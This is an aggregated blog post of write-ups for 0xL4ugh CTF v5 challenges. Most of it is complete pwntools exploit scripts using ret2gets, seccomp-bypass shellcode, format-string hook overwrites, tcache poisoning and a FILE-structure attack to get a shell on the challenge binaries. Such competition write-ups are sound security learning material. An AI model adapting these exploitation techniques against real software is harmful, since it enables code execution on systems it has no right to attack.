惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Martin Fowler
Martin Fowler
大猫的无限游戏
大猫的无限游戏
J
Java Code Geeks
罗磊的独立博客
雷峰网
雷峰网
G
Google Developers Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
爱范儿
爱范儿
B
Blog RSS Feed
腾讯CDC
Apple Machine Learning Research
Apple Machine Learning Research
D
Docker
Recent Announcements
Recent Announcements
T
Tailwind CSS Blog
博客园 - 聂微东
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Vercel News
Vercel News
小众软件
小众软件
人人都是产品经理
人人都是产品经理
云风的 BLOG
云风的 BLOG
IT之家
IT之家
Blog — PlanetScale
Blog — PlanetScale
I
InfoQ
S
SegmentFault 最新的问题

Entropic

Inspect: Read the Bits :: Entropic NETGEAR EXS27 NGR LAN-side Pre-auth Command Injection in llmnrd via LLMNR Query Name :: Entropic ANSI Ink for Philes :: Entropic NETGEAR EXS27 NGR Pre-auth Administrator Takeover Chained to Root SSH Shell via Configuration Restore :: Entropic NETGEAR EXS27 NGR Pre-auth debug.cgi Archive Sensitive Information Disclosure :: Entropic Let's Decrypt NETGEAR EXS27 NGR Firmware V1.0.1.34! :: Entropic NETGEAR EXS27 NGR Local-LAN/L2 Pre-auth Command Injection in Root-started devProbe via DHCP Option 12 Hostname :: Entropic CVE-2017-9048: libxml2 :: Entropic CVE-2016-9297: LibTIFF :: Entropic CVE-2017-13028: TCPdump :: Entropic Fuzz two legacy CVEs in libexif :: Entropic CVE-2019-13288: Xpdf :: Entropic The Fuzzy Notebook :: Entropic Write-ups: Pwnable.tw :: Entropic Write-ups: System Security (Microarchitecture Exploitation) series :: Entropic Intel Control-flow Enforcement Technology Bypass :: Entropic 此地不宜调试 :: Entropic 梅花易数札记 :: Entropic Write-ups: ARM Architecture (ARM64 ROP) series :: Entropic The Cross-ISAs Notebook :: Entropic 2025 年终总结 :: Entropic Write-ups: System Security (Kernel Security) series (Completed) :: Entropic Write-ups: BlackHat MEA CTF Final 2025 :: Entropic Write-ups: Software Exploitation (Exploitation Primitives) series (Completed) :: Entropic Sapido RB-1732 路由器 RCE 漏洞 :: Entropic Write-ups: Software Exploitation (File Struct Exploits) series (Completed) :: Entropic Write-ups: 第八届「强网」拟态防御国际精英挑战赛-线上预选赛 :: Entropic Write-ups: 第九届「强网杯」全国网络安全挑战赛 :: Entropic Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed) :: Entropic Write-ups: 2025 年「羊城杯」网络安全大赛初赛 [本科院校组] :: Entropic
Write-ups: 0xL4ugh CTF v5 :: Entropic
CuB3y0nd · 2026-01-24 · via Entropic
# Awesome Router

## Information

- Category: IoT

## Description

> Trust me, if this challenge solved in the inteneded way, there is a lot of fun
 ; )

## Write-up

There exits `gets` and `puts` in `bin/fetcher`, so we can use `ret2gets` trick f
or a ez shell :D

And the rest work are for webers, the Pwn part is done LOL

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./fetcher_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc
rop = ROP(libc)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    payload = flat(
        {
            0x28: elf.plt["gets"],
            0x30: elf.plt["gets"],
            0x38: elf.plt["puts"],
            0x40: elf.sym["main"],
        },
        filler=b"x00",
    )
    target.sendlineafter(b"Enter your url to fetch", payload)

    payload = flat(
        p32(0x0),  # lock
        b"A" * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b"BBBB")

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b"x00"))
    libc.address = tls + 0x28C0
    target.success(f"tls: {hex(tls)}")
    target.success(f"libc: {hex(libc.address)}")

    payload = flat(
        {
            0x28: libc.address + rop.find_gadget(["pop rdi", "ret"])[0],
            0x30: next(libc.search(b"/bin/sh")),
            0x38: libc.address + rop.find_gadget(["ret"])[0],
            0x40: libc.sym["system"],
        },
        filler=b"x00",
    )
    raw_input("DEBUG")
    target.sendlineafter(b"Enter your url to fetch", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# New Age

## Information

- Category: Pwn

## Description

> They said a carefully crafted seccomp filter would always save you, can you ma
ke sure for me?

## Write-up

`flag` name is random, `openat2` is not disabled.

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./new_age"
HOST, PORT = "159.89.106.147", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def main():
    launch()

    sc = asm("""
        /* openat2(".", {0,0,0}, 24) */
        push 0
        push 0
        push 0
        mov rdx, rsp
        push 0x2e
        mov rsi, rsp
        mov rdi, -100
        mov r10, 24
        mov rax, 437
        syscall

        /* getdents64(fd, buf, 0x1000) */
        mov rdi, rax
        sub rsp, 0x1000
        mov rsi, rsp
        mov rdx, 0x1000
        mov rax, 217
        syscall

        /* iterate directory, skip `.` (0x2e) and `..` (0x2e2e) */
        mov r8, rax     /* total length */
        mov r9, rsp     /* buffer pointer */
    find_real_file:
        movzx eax, byte ptr [r9+19]
        cmp al, 0x2e    /* if the first character of the file name is `.`, skip 
it */
        je next_ent

        /* find the file, store in `r9+19` */
        jmp open_it

    next_ent:
        movzx ax, word ptr [r9+16] /* d_reclen */
        add r9, rax
        sub r8, rax
        jg find_real_file
        jmp exit

    open_it:
        /* openat2(AT_FDCWD, r9+19, {0,0,0}, 24) */
        lea rsi, [r9+19]
        mov rdi, -100
        lea rdx, [rsp+0x1000+8]
        mov r10, 24
        mov rax, 437
        syscall

        /* pread64(fd, buf, 0x100, 0) */
        mov rdi, rax
        mov rsi, r9
        mov rdx, 0x100
        xor r10, r10
        mov rax, 17
        syscall
        mov r12, rax

        /* writev(1, &iovec, 1) */
        push r12
        push r9
        mov rsi, rsp
        mov rdi, 1
        mov rdx, 1
        mov rax, 20
        syscall

    exit:
        mov rax, 60
        syscall
    """)

    target.sendafter(b"Send shellcode (max 4096 bytes): ", sc)
    target.interactive()


if __name__ == "__main__":
    main()
```

# Zoro's Blind Path

## Information

- Category: Pwn

## Description

> The only way forward is understanding what cannot be seen

## Write-up

This chall disabled `X x P p S s` and `$` character.

The idea is using the `%c` to iterate `printf` arguments, so the next `%n` will 
write to the address which we pre-putted in the stack.

And since we have only have 10 bytes for the second format string, we cannot use
 the second format string to modify address. But the libc version is `2.23`, so 
there exists `__malloc_hook` and `__free_hook`, which in libc's `rw` region.

Recall `printf` will malloc a larger buffer if the output content exceeds the de
fault buffer size, so we can overwrite a hook to onegadget address and then trig
ger it by `%1000000c` in the second `printf`.

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    fmtstr_payload,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./app_patched"
HOST, PORT = "challenges.ctf.sd", 33898

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def build_fmt_payload(target_addr, value, consume=24, offset=0x90, num_bytes=6):
    target_vals = [(value >> (i * 0x8)) & 0xFF for i in range(num_bytes)]

    specs = []
    # consume arguments
    for _ in range(consume):
        specs.append(b"%c")
    curr = 24  # 19

    for i in range(num_bytes):
        # consume (arg 26, 28, 30, 32, 34, 36)
        diff = (target_vals[i] - curr % 256 + 256) % 256
        if diff == 0:
            specs.append(b"%256c")
            curr += 256
        else:
            specs.append(f"%{diff}c".encode())
            curr += diff
        # consume (arg 27, 29, 31, 33, 35, 37)
        specs.append(b"%hhn")

    fmt = b"".join(specs)

    # if length over offset, then we have to put addresses farther
    if len(fmt) > offset:
        raise ValueError(f"Format string too long: {len(fmt)} bytes")

    payload = fmt.ljust(offset, b"x00")
    for i in range(num_bytes):
        payload += flat(target_addr + i)
        payload += flat(0xCAFEBABE)

    return payload


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"Clue: ")
    libc.address = int(target.recvline(), 16) - libc.sym["_IO_2_1_stdout_"]
    __malloc_hook = libc.sym["__malloc_hook"]
    one_gadget = libc.address + 0x4527A

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"__malloc_hook: {hex(__malloc_hook)}")
    target.success(f"one_gadget: {hex(one_gadget)}")

    # arg 9 is the start of our payload
    # target address at offset 0x90 -> arg (9 + 0x90/8) = arg 27
    # payload = build_fmt_payload(__malloc_hook, one_gadget)
    payload = fmtstr_payload(8, {__malloc_hook: one_gadget}, no_dollars=True)

    raw_input("DEBUG")
    target.sendline(payload)

    target.sendline(b"%1000000c")
    target.interactive()


if __name__ == "__main__":
    main()
```

# Wyv3rn's Magic

## Information

- Category: Pwn

## Description

> We missed the legend !

## Write-up

Haven't solve this.

This might be useful: <https://arxiv.org/pdf/2304.07940>

## Exploit

TODO

# House Of Pain

## Information

- Category: Pwn

## Description

> This house is welcoming. The journey, however, can be painful.

## Write-up

We can leak stack address in `small_message`, and its just a CHOP bypass canary.

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
    u64,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./chall_patched"
HOST, PORT = "challenges4.ctf.sd", 34724

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def small_message(size, msg):
    target.sendlineafter(b"2. Exitn", str(1).encode())
    target.sendlineafter(b"Enter size: ", str(size).encode())
    target.sendafter(b"Enter your message: ", msg)


def main():
    launch()

    small_message(0x20, b"A" * 0x18)

    target.recvuntil(b"A" * 0x18)
    stack = u64(target.recvline().strip().ljust(0x8, b"x00"))
    target.success(hex(stack))

    win = 0x401773
    fake = flat(
        {
            0x0: stack,
            0x8: 0x40168F,
            0x20: stack - 0x118 + 0x18,
            0x28: 0x4013C8,  # 0x4013c8 (main+82)
            0x58: win,
        },
        filler=b"x00",
    )
    raw_input("DEBUG")
    small_message(0x10, b"A" * 0x30 + fake)
    target.sendlineafter(b"2. Exitn", str(2).encode())

    target.interactive()


if __name__ == "__main__":
    main()
```

# Alice

## Information

- Category: Pwn

## Description

> Alice, struggling with the traumatic death of her family, returns to a corrupt
ed Wonderland to unlock repressed memories. Can you help her remember who she is
 ?

## Write-up

This chall limited our free counts, so we cannot just fill tcache and then get t
he chunk into unsortedbin to leak libc.

The idea is tcache poisoning to let malloc return `tcache_perthread_structure`, 
and change the correspond tcachebin's `counts` to `7`, so the next free will go 
to unsortedbin.

Then we can do a ez House of Apple 2 attack to get shell.

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    FileStructure,
    context,
    flat,
    process,
    raw_input,
    remote,
    u64,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./vuln_patched"
HOST, PORT = "159.89.105.235", 10001

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def create_memory(idx, size, data):
    target.sendlineafter(b"> ", str(1).encode())
    target.sendlineafter(b"Memory index: ", str(idx).encode())
    target.sendlineafter(b"How vivid is this memory? ", str(size).encode())
    target.sendlineafter(b"What do you remember? ", data)


def edit_memory(idx, data):
    target.sendlineafter(b"> ", str(2).encode())
    target.sendlineafter(b"Which memory will you rewrite? ", str(idx).encode())
    target.sendlineafter(b"Rewrite your memory: ", data)


def view_memory(idx):
    target.sendlineafter(b"> ", str(3).encode())
    target.sendlineafter(b"Which memory do you wish to recall? ", str(idx).encod
e())


def forget_memory(idx):
    target.sendlineafter(b"> ", str(4).encode())
    target.sendlineafter(b"Which memory will you erase? ", str(idx).encode())


def main():
    launch()

    create_memory(0, 0x10, b"0")
    create_memory(1, 0x10, b"1")
    forget_memory(0)
    forget_memory(1)
    view_memory(0)
    heap = u64(target.recvline().strip().ljust(0x8, b"x00")) << 12
    pos = heap >> 12
    target.success(f"heap: {hex(heap)}")

    edit_memory(1, flat(mangle(pos, heap + 0x60)) + b"A" * 0x8)
    create_memory(2, 0x10, b"A" * 0x8)
    create_memory(3, 0x2F0, b"unsortedbin")
    create_memory(5, 0x250, b"guard")
    create_memory(4, 0x10, flat(0) + flat(0x0000000700000000))  # 0x300 [  7]
    forget_memory(3)
    view_memory(3)
    libc.address = u64(target.recvline().rstrip().ljust(0x8, b"x00")) - 0x203B20
    target.success(f"libc: {hex(libc.address)}")

    create_memory(6, 0x250, b"A" * 0x8)
    forget_memory(6)
    forget_memory(5)

    edit_memory(5, flat(mangle(pos, libc.sym["_IO_list_all"])) + b"A" * 0x8)

    fp_addr = heap + 0x5E0
    system = libc.sym["system"]
    fp = FileStructure(null=libc.sym["lock"])
    fp.flags = b" sh"
    fp._IO_write_ptr = 1
    fp._IO_write_base = 0
    fp._wide_data = fp_addr
    fp.vtable = libc.sym["_IO_wfile_jumps"]
    fp.chain = system
    payload = bytes(fp) + flat(fp_addr)

    raw_input("DEBUG")
    create_memory(7, 0x250, payload)
    create_memory(8, 0x250, flat(fp_addr))

    target.sendlineafter(b"> ", str(5).encode())

    target.interactive()


if __name__ == "__main__":
    main()
```